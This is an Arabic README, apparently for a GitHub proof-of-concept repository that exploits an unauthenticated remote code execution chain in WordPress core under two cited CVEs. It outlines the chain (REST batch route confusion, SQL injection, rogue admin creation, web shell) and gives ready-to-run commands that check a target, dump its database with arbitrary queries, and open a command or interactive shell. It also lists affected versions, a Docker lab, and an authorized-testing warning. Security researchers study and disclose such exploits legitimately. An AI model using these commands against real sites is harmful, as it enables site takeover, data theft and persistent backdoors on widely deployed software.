securelayer7/wordpresshellإثبات مفهوم لاختراق RCE بدون مصادقة لـ CVE-2026-63030 / CVE-2026-60137 (نواة ووردبريس)
إثبات مفهوم لثغرة RCE قبل المصادقة لـ CVE-2026-63030 + CVE-2026-60137 (جوهر ووردبريس).
ارتباك مسار REST /batch/v1 → SQLi عبر WP_Query author__not_in → إنشاء مشرف غير مصادق → شيل ويب. ملف واحد، فقط مكتبة بايثون القياسية.
الثغرة: آدم كيوز (Searchlight Cyber). المتأثر: 6.9.0–6.9.4, 7.0.0–7.0.1. الإصلاح: 6.9.5 / 7.0.2.
python3 WordPresShell.py check http://target # تأكيد (غير تخريبي)
python3 WordPresShell.py dump http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id" # RCE بدون كسر
python3 WordPresShell.py shell http://target -i # تفاعلي
python3 WordPresShell.py shell http://target --user U --password P --cmd id
docker compose up -d # ووردبريس 7.0.1 على المنفذ :8092
docker compose down -v # إزالة
ينشئ shell مشرفًا ويسقط شيل ويب — أزل كليهما بعد الاختبار. اختبار مصرح به فقط.